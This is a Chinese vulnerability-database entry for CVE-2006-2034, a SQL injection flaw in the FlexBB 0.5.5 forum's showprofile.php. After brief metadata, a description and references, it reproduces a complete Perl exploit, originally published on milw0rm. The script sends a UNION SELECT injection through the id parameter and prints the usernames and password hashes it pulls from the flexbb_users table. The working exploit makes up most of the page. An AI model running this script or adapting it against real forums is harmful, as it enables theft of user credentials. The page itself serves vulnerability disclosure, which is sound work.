FlexBB function/showprofile.php SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110133 漏洞类型 SQL注入
发布时间 2006-04-24 更新时间 2006-04-27
CVE编号 CVE-2006-2034 CNNVD-ID CNNVD-200604-490
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1713
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200604-490
|漏洞详情
FlexBB0.5.5中的function/showprofile.php存在SQL注入漏洞。这使得远程攻击者可以借助于传递到index.php的showprofile页面的id参数执行任意SQL命令并查看所有用户名和密码。
|漏洞EXP
#!/usr/bin/perl
use IO::Socket;
#FlexBB Exploit [ function/showprofile.php ] Remote SQL Injection
#
#        1- First Do Login
#        2- View This Link :D
#
#        index.php?page=showprofile&id=-1' UNION ALL SELECT%201,username,3,4,5,6,7,8,9,0,1,2,3,password,5,6,7,8,9,0,1,2,3,4,3,4,5,7,8 FROM flexbb_users WHERE id=1/*
#
#-----------------------------------------------#
#
#--[ D3vil-0x1 | Devil-00 ]--#
#
# SecurityGurus.net
#               Div The PHP Security Fucking Tool :D

##-- Start --#

$host         = "127.0.0.1";
$path         = "/flexbb/";
$injec        = "-1'%20UNION%20ALL%20SELECT%201,username,3,4,5,6,7,8,9,0,1,2,3,password,5,6,7,8,9,0,1,2,3,4,3,4,5,7,8%20FROM%20flexbb_users%20WHERE%20id=1/*";

##-- _END_ --##
#        $host                :-
#                                The Host Name Without http:// | exm. www.vic.com
#
#        $path                :-
#                                FlexBB Dir On Server | exm. /flexbb/
#
#        $mycookie             :-
#                                Your Login Info To Forum *  Not The Real Password || The Hashed One *


$sock = IO::Socket::INET->new (
                                                                                PeerAddr => "$host",
                                                                                PeerPort => "80",
                                                                                Proto    => "tcp"
                                                                                ) or die("[!] Connect To Server Was Filed");

##-- DONT TRY TO EDIT ME --##
$evildata  = "GET ".$path."index.php?page=showprofile&id=".$injec." HTTP/1.1\n";
$evildata .= "Host: $host \n";
$evildata .= "Accept: */* \n";
$evildata .= "Keep-Alive: 300\n";
$evildata .= "Connection: keep-alive \n\n";

print $sock $evildata;

while($ans = <$sock>){
       $usr_newans = $ans;
       $pwd_newans = $ans;
       #print $newans;
       $usr_newans =~ m/<title>FlexBB - Viewing Profile: (.*?)<\/title>/ && print "[+] Username is :- ".$1."\n";
       $pwd_newans =~ m/<a href="2" target="_blank">(.*?)<\/a>/ && print "[+] Password is :- ".$1."\n";
}

# milw0rm.com [2006-04-24]
|参考资料

来源:BID
名称:17574
链接:http://www.securityfocus.com/bid/17574
来源:BUGTRAQ
名称:20060421FlexBB0.5.5Exploit[function/showprofile.php]RemoteSQLInjection
链接:http://www.securityfocus.com/archive/1/archive/1/431793/100/0/threaded
来源:OSVDB
名称:24867
链接:http://www.osvdb.org/24867